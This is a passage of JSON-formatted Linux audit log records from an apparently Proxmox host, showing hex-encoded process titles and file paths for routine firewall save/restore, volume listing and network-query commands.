proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964901063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964901.063:63133): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435722,"@rawstring":"node=pve type=PATH msg=audit(1781965435.722:65592): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964901.063:63132): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435722,"@rawstring":"node=pve type=PATH msg=audit(1781965435.722:65592): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964901.063:63131): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435722,"@rawstring":"node=pve type=PATH msg=audit(1781965435.722:65592): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964901.057:63130): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435713,"@rawstring":"node=pve type=PATH msg=audit(1781965435.713:65591): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964901.057:63129): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435713,"@rawstring":"node=pve type=PATH msg=audit(1781965435.713:65591): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964901.057:63128): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435703,"@rawstring":"node=pve type=PATH msg=audit(1781965435.703:65590): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964896.047:63127): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435703,"@rawstring":"node=pve type=PATH msg=audit(1781965435.703:65590): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964896.047:63126): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435699,"@rawstring":"node=pve type=PATH msg=audit(1781965435.699:65589): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964896.047:63125): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435699,"@rawstring":"node=pve type=PATH msg=audit(1781965435.699:65589): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964896.041:63124): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435689,"@rawstring":"node=pve type=PATH msg=audit(1781965435.689:65588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964896.041:63123): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435689,"@rawstring":"node=pve type=PATH msg=audit(1781965435.689:65588): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964896.041:63122): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965435679,"@rawstring":"node=pve type=PATH msg=audit(1781965435.679:65587): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.152:63121): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965435679,"@rawstring":"node=pve type=PATH msg=audit(1781965435.679:65587): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.144:63120): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965434302,"@rawstring":"node=pve type=PATH msg=audit(1781965434.302:65586): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.144:63119): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965434302,"@rawstring":"node=pve type=PATH msg=audit(1781965434.302:65586): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.143:63118): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965434274,"@rawstring":"node=pve type=PATH msg=audit(1781965434.274:65585): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895140,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.140:63117): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965434274,"@rawstring":"node=pve type=PATH msg=audit(1781965434.274:65585): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.132:63116): proctitle=\"ip6tables-save\""} {"@timestamp":1781965432981,"@rawstring":"node=pve type=PATH msg=audit(1781965432.981:65584): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895126,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.126:63115): proctitle=\"iptables-save\""} {"@timestamp":1781965432981,"@rawstring":"node=pve type=PATH msg=audit(1781965432.981:65584): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895119,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.119:63114): proctitle=\"ip6tables-save\""} {"@timestamp":1781965432981,"@rawstring":"node=pve type=PATH msg=audit(1781965432.981:65583): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895112,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.112:63113): proctitle=\"iptables-save\""} {"@timestamp":1781965432981,"@rawstring":"node=pve type=PATH msg=audit(1781965432.981:65582): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.109:63112): proctitle=\"ebtables-restore\""} {"@timestamp":1781965432976,"@rawstring":"node=pve type=PATH msg=audit(1781965432.976:65581): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.106:63111): proctitle=\"ebtables-restore\""} {"@timestamp":1781965432976,"@rawstring":"node=pve type=PATH msg=audit(1781965432.976:65581): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895101,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.101:63110): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965432976,"@rawstring":"node=pve type=PATH msg=audit(1781965432.976:65580): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.096:63109): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965432976,"@rawstring":"node=pve type=PATH msg=audit(1781965432.976:65579): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.091:63108): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965427969,"@rawstring":"node=pve type=PATH msg=audit(1781965427.969:65578): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.085:63107): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965427969,"@rawstring":"node=pve type=PATH msg=audit(1781965427.969:65578): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.079:63106): proctitle=697073657400726573746F7265"} {"@timestamp":1781965427969,"@rawstring":"node=pve type=PATH msg=audit(1781965427.969:65577): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.071:63105): proctitle=\"ip6tables-save\""} {"@timestamp":1781965427969,"@rawstring":"node=pve type=PATH msg=audit(1781965427.969:65576): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.065:63104): proctitle=\"iptables-save\""} {"@timestamp":1781965427959,"@rawstring":"node=pve type=PATH msg=audit(1781965427.959:65575): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895061,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.061:63103): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965427959,"@rawstring":"node=pve type=PATH msg=audit(1781965427.959:65575): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.057:63102): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965427959,"@rawstring":"node=pve type=PATH msg=audit(1781965427.959:65574): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895055,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.055:63101): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965427959,"@rawstring":"node=pve type=PATH msg=audit(1781965427.959:65573): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895055,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.055:63100): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965425667,"@rawstring":"node=pve type=PATH msg=audit(1781965425.667:65572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895051,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.051:63099): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965425667,"@rawstring":"node=pve type=PATH msg=audit(1781965425.667:65572): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895044,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.044:63098): proctitle=\"ip6tables-save\""} {"@timestamp":1781965425662,"@rawstring":"node=pve type=PATH msg=audit(1781965425.662:65571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.036:63097): proctitle=\"iptables-save\""} {"@timestamp":1781965425662,"@rawstring":"node=pve type=PATH msg=audit(1781965425.662:65571): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895030,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.030:63096): proctitle=69707365740073617665"} {"@timestamp":1781965425660,"@rawstring":"node=pve type=PATH msg=audit(1781965425.660:65570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895021,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.021:63095): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965425660,"@rawstring":"node=pve type=PATH msg=audit(1781965425.660:65570): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964895.013:63094): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965425660,"@rawstring":"node=pve type=PATH msg=audit(1781965425.660:65569): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894947,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964894.947:63093): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965425656,"@rawstring":"node=pve type=PATH msg=audit(1781965425.656:65568): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964894.922:63092): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965425656,"@rawstring":"node=pve type=PATH msg=audit(1781965425.656:65568): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964894842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964894.842:63091): proctitle=2F7573722F62696E2F7065726C002F7573722F7362696E2F716D006C697374"} {"@timestamp":1781965425656,"@rawstring":"node=pve type=PATH msg=audit(1781965425.656:65568): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964891.033:63090): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425648,"@rawstring":"node=pve type=PATH msg=audit(1781965425.648:65567): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964891.033:63089): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425648,"@rawstring":"node=pve type=PATH msg=audit(1781965425.648:65567): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964891.033:63088): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425640,"@rawstring":"node=pve type=PATH msg=audit(1781965425.640:65566): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964891.027:63087): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425640,"@rawstring":"node=pve type=PATH msg=audit(1781965425.640:65566): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964891.027:63086): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425630,"@rawstring":"node=pve type=PATH msg=audit(1781965425.630:65565): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964891.027:63085): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425630,"@rawstring":"node=pve type=PATH msg=audit(1781965425.630:65565): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.019:63084): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425622,"@rawstring":"node=pve type=PATH msg=audit(1781965425.622:65564): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.019:63083): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425622,"@rawstring":"node=pve type=PATH msg=audit(1781965425.622:65564): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.019:63082): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425616,"@rawstring":"node=pve type=PATH msg=audit(1781965425.616:65562): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.011:63081): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425616,"@rawstring":"node=pve type=PATH msg=audit(1781965425.616:65562): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.011:63080): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425610,"@rawstring":"node=pve type=PATH msg=audit(1781965425.610:65561): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.011:63079): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965425610,"@rawstring":"node=pve type=PATH msg=audit(1781965425.610:65561): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886005,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.005:63078): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965425603,"@rawstring":"node=pve type=PATH msg=audit(1781965425.603:65560): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886002,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.002:63077): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965425603,"@rawstring":"node=pve type=PATH msg=audit(1781965425.603:65560): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.001:63076): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965425598,"@rawstring":"node=pve type=PATH msg=audit(1781965425.598:65559): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964886001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964886.001:63075): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965425598,"@rawstring":"node=pve type=PATH msg=audit(1781965425.598:65559): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 